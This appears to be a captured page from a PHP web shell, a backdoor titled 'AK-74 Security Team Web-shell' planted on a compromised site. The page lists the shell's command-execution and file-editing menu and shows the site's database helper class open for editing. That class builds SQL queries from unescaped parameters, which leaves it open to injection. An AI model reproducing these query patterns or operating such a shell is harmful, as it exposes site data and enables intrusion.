.:: :[ AK-74 Security Team Web-shell ]: ::.
General information
File manager
phpinfo()
Run PHP
Execute the command
Edit the file
<?php include_once 'inc/config.php'; class Home{ /****************************** get total count rows by query *********************/ public function get_total_views($db,$page){ $rows=mysqli_num_rows(mysqli_query($db,"SELECT * FROM page_views WHERE page='".$page."'")); return $rows; } /****************************** get total count rows by query *********************/ public function get_today_views($db,$page){ $rows=mysqli_num_rows(mysqli_query($db,"SELECT * FROM page_views WHERE page='".$page."' AND date='".date('Y-m-d')."'")); return $rows; } /****************************** get total count rows by query *********************/ public function get_rows_by_query($db,$query){ $rows=mysqli_num_rows(mysqli_query($db,$query)); return $rows; } /****************************** get total count rows by query *********************/ public function get_data_by_column_value_return($db,$table,$column,$value,$return){ $data=mysqli_fetch_assoc(mysqli_query($db,"SELECT * FROM $table WHERE $column='".$value."'")); return $data[$return]; } /****************************** get data from a table by sorting ******************/ public function get_most_blogs($db) { $data = array(); $query = mysqli_query($db,"SELECT * FROM `blog` WHERE status='Active' ORDER BY views DESC LIMIT 8") or die(mysqli_error()); $num_rows = mysqli_num_rows($query); if($num_rows>0) { while($row=mysqli_fetch_assoc($query)) $data[]=$row; } return $data; } /****************************** get data from a table by sorting ******************/ public function get_data($db,$table) { $data = array(); $query = mysqli_query($db,"SELECT * FROM $table") or die(mysqli_error()); $num_rows = mysqli_num_rows($query); if($num_rows>0) { while($row=mysqli_fetch_assoc($query)) $data[]=$row; } return $data; } /****************************** get data from a table by sorting ******************/ public function get_data_by_column_value($db,$table,$column,$value) { $data = array(); $query = mysqli_query($db,"SELECT * FROM $table WHERE $column='".$value."' ORDER BY ID DESC") or die(mysqli_error()); $num_rows = mysqli_num_rows($query); if($num_rows>0) { while($row=mysqli_fetch_assoc($query)) $data[]=$row; } return $data; } /****************************** get data from a table by sorting ******************/ public function get_data_by_two_column_value($db,$table,$column1,$value1,$column2,$value2) { $data = array(); $query = mysqli_query($db,"SELECT * FROM $table WHERE $column1='".$value1."' AND $column2='".$value2."' ORDER BY ID DESC") or die(mysqli_error()); $num_rows = mysqli_num_rows($query); if($num_rows>0) { while($row=mysqli_fetch_assoc($query)) $data[]=$row; } return $data; } /****************************** get data from a table by sorting ******************/ public function get_data_by_column_value_limit($db,$table,$column,$value,$limit) { $data = array(); $query = mysqli_query($db,"SELECT * FROM $table WHERE $column='".$value."' ORDER BY id DESC LIMIT $limit") or die(mysqli_error()); $num_rows = mysqli_num_rows($query); if($num_rows>0) { while($row=mysqli_fetch_assoc($query)) $data[]=$row; } return $data; } /****************************** get data from a table by sorting ******************/ public function get_random_blogs($db,$limit) { $data = array(); $query = mysqli_query($db,"SELECT * FROM `blog` WHERE status='Active' ORDER BY rand() LIMIT $limit") or die(mysqli_error()); $num_rows = mysqli_num_rows($query); if($num_rows>0) { while($row=mysqli_fetch_assoc($query)) $data[]=$row; } return $data; } /****************************** get filter data from a table by pagination *******/ public function get_filter_data_by_page_id($db,$query,$start,$per_page, $column, $sort) { $data = array(); $query = mysqli_query($db,$query." ORDER BY $column $sort LIMIT $start, $per_page") or die(mysqli_error()); $num_rows = mysqli_num_rows($query); if($num_rows>0) { while($row=mysqli_fetch_assoc($query)) $data[]=$row; } return $data; } /****************************** get data from a table by sorting ******************/ public function add_enquiry($db,$mode){ extract($mode); mysqli_query($db,"INSERT INTO `enquiry`(`name`, `email`, `mobile`, `city`, `message`, `date`) VALUES('".$name."', '".mysqli_real_escape_string($db,$email)."', '".mysqli_real_escape_string($db,$mobile)."', '".mysqli_real_escape_string($db,$city)."', '".mysqli_real_escape_string($db,$message)."', '".date('Y-m-d')."')"); return true; } } ?>
Rename:
-